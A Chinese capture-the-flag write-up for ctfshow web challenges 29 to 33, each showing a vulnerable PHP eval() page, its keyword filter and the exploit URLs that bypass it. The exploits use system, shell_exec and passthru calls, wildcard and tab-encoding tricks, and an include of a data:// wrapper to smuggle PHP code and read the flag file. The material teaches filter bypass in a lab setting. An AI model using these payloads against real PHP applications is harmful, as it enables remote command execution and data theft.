首页 > 其他分享 >ctfshow(29->32)--RCE/命令执行漏洞

ctfshow(29->32)--RCE/命令执行漏洞

时间:2024-10-19 12:17:16浏览次数:3  
标签:GET -- 32 preg system 29 flag php match

Web29

源代码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

代码审计:

error_reporting(0) 关闭所有php报错。
preg_match(“/flag/i”, $c) 在 参数c 中正则匹配 flag,i意味着不区分大小写。
eval() 执行函数中的代码。

思路:

利用 system() 函数执行系统命令,获取flag文件位置并读取。
由于flag被过滤,我们可以使用通配符*来绕过过滤。

EXP:

使用ls命令读取当前目录下的文件:
这里注意system('ls');的结尾是分号。因为eval()执行php代码,而分号;是php代码结束的标志,不能缺少。

http://3634aca7-0791-493a-aa93-a915e5bad86c.challenge.ctf.show/
?c=system('ls');

得到flag所在位置flag.php,使用cat命令读取:
cat fla* 表示打开所有当前目录下以 fla 开头的文件

http://3634aca7-0791-493a-aa93-a915e5bad86c.challenge.ctf.show/
?c=system('cat fla*');

查看页面源代码,获取flag.

Web30

源代码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

代码审计:

preg_match(“/flag|system|php/i”, $c) 过滤了flag、system、php,i表示不区分大小写。

思路:

将system()替换为shell_exec()即可。
两个函数功能相同,都用于执行系统命令。区别在于system()会返回执行结果,但是shell_exec()不返回执行结果,需要我们使用echo命令进行返回。

EXP:

获取目录下文件:

https://e4322c80-906e-458a-b9a5-e5d01174a032.challenge.ctf.show/
?c=echo shell_exec('ls');

获取flag:

https://e4322c80-906e-458a-b9a5-e5d01174a032.challenge.ctf.show/
?c=echo shell_exec('cat fla*');

得到flag.

Web31

源代码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

代码审计:

preg_match(“/flag|system|php|cat|sort|shell|.| |'/i”, $c)
// 间的字符进行了过滤。

思路:

system和shell_exec都不能使用,所以替换为passthru() 。该函数也是执行系统命令,只执行,不返回,但是会把结果输出在界面上。
单引号'也被过滤,替换为双引号".
cat被过滤,替换为tac。cat是从第一行开始显示文件内容,而tac是从最后一行开始向第一行输出内容。
空格 被过滤,用TAB键绕过,url编码为 %09

EXP:

获取目录下文件:

https://bad1987a-6ce0-4095-8c1b-77a0aa331e6d.challenge.ctf.show/
?c=passthru("ls");

读取flag文件:

https://bad1987a-6ce0-4095-8c1b-77a0aa331e6d.challenge.ctf.show/
?c=passthru("tac%09fla*");

得到flag.

Web32

建议先去学习文件包含与PHP伪协议相关知识。

源代码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

代码审计:

preg_match函数过滤了**//**之间的字符。

思路:

过滤了分号 ,直接传递php代码是不可能了。
考虑使用文件包含data://伪协议

EXP:

利用 include() 包含参数1,再利用 data:// 执行php系统命令。
因为preg_match只检测参数c中的关键词,所以参数1中的数据不会被检测。

https://c395f1da-8445-4a4c-aadb-580abd2624b2.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('ls');?>

读取flag文件:

https://c395f1da-8445-4a4c-aadb-580abd2624b2.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('cat flag.php');?>

得到flag.

Web33

源代码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

代码审计:

preg_match函数过滤了**//**之间的字符。

思路:

比上一道题多过滤了双引号。不影响操作,与上一道题过程相同。

EXP:

ls读取目录下文件:

https://c46b1c05-afa9-4437-8e34-4d715f63c5d6.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('ls');?>

读取flag文件内容:

https://c46b1c05-afa9-4437-8e34-4d715f63c5d6.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('cat flag.php');?>

得到flag.

总结:

这五道题目包含两个RCE漏洞利用方向:

直接传递PHP代码

当分号没有被过滤时

使用文件包含

当分号被过滤时

标签:GET,--,32,preg,system,29,flag,php,match
From: https://blog.csdn.net/m0_56019217/article/details/143070282

相关文章

  • 全新子比主题7.9.2开心版 子比主题最新版源码
    内容目录一、详细介绍二、效果展示1.部分代码2.效果图展示三、学习资料下载一、详细介绍wordpresszibll子比主题7.9.2开心版修复评论弹授权可做付费下载站含wordpress搭建视频教程+zibll子比主题安装视频教程+支付配置视频教程,视频都是语音讲解,非常详细。zibl......
  • 大数据毕业设计基于python的京东食品数据分析和可视化django+可视化大屏分析
    文章目录前言详细视频演示一、项目介绍二、功能介绍三、核心代码数据库参考四、效果图五、文章目录前言  基于Python的京东食品数据分析和可视化项目涉及多个步骤,包括数据收集、数据清洗、数据分析以及数据可视化。由于直接获取京东食品数据的API可能受限或需要......
  • 利用iptables实现端口映射(支持动态域名)
    将下列代码保存到/bin/ddns_portmap.sh#!/bin/bash#检查参数if["$#"-ne2];thenecho"Usage:$0<domain><local_port1:remote_port1,local_port2:remote_port2,...>"exit1fi#从参数获取动态域名和端口映射domain=$1port_mappings=$2#获取......
  • AIGC时代的语音笔记工具,创意人士的福音
    国庆期间,我发现了一款特别好用的语音笔记工具,它应该算是AIGC时代的新一代笔记工具了。这个工具,是那些随时会有创意想法要记录,或者经常需要做会议纪要,读书笔记的人福音。它有几个功能让我特别喜欢。第一个是语音笔记功能,这个不像科大讯飞的语音输入法,它不仅仅是简单地将语音转成文......
  • 初探AI之got-ocr2.0大模型本地部署与遇到的各种坑处理
    一、环境搭建1.安装cuda,本人使用的是12.1版本,下载地址:https://developer.nvidia.com/cuda-12-1-1-download-archive2.安装conda3,https://blog.csdn.net/m0_73634846/article/details/1363783503.准备代码环境原文:https://mp.weixin.qq.com/s/PQVrlr5FoVb89Mivzi7pLA顺序执......
  • [随笔]网鼎杯大赛2024真题及赛前培训CTF
    欢迎你来这里,真题题目真没有。赛前培训可以到这里:https://vip.ctf.show/?invite=18742【赛前模拟】10月19日当天前往https://c.wangdingcup.com/#/login可以参加模拟训练。不过这届举办方真有意思,还得10月18日前完成报名的才可以参加。【猜测】官方公众号是10月17日下午......
  • 2024.10.19 1152版
    起于《海奥华预言》的思考◆地球管理结构和参考持续更新中...... 英文地址:https://github.com/zhuyongzhe/Earth/tags中文地址:https://www.cnblogs.com/zhuyongzhe85作者:朱永哲 ---------------------------------------------------------------------------------......
  • 如果做项目提案书
    封面:包括项目名称、投标单位名称、联系人信息和日期。目录:目录应详细列出所有章节和子章节及其页码。方便评审人员查阅。投标函:简要说明投标意向,并概述投标书的主要内容。例文----------------------------------------------------------------------[投标日期]尊敬的[招标单位......
  • AI绘画:2024最全面的ComfyUI插件与Lora的下载及使用!
    前言本节我们介绍ComfyUI插件和Lora的下载及使用方式。1.安装1.1Checkpoint安装将从前面介绍的模型下载平台下载后,放在ComfyUI/models/checkpoints文件夹下。1.2Lora安装在前面介绍的模型下载网站下载Lora模型,然后放在ComfyUI/models/loras文件夹下。所有的AI设......
  • Scala入门基础(12)抽象类
    抽象类,制定标准,不要求去具体实现               包含了抽象方法的类就是抽象类。抽象方法只是有方法名,没有具体方法体的方法定义抽象类要用abstract(抽象)关键字用智能驾驶技术举例:演示)具体属性var,val属性名=值;抽象属性var属性名:类型具体方法:完整......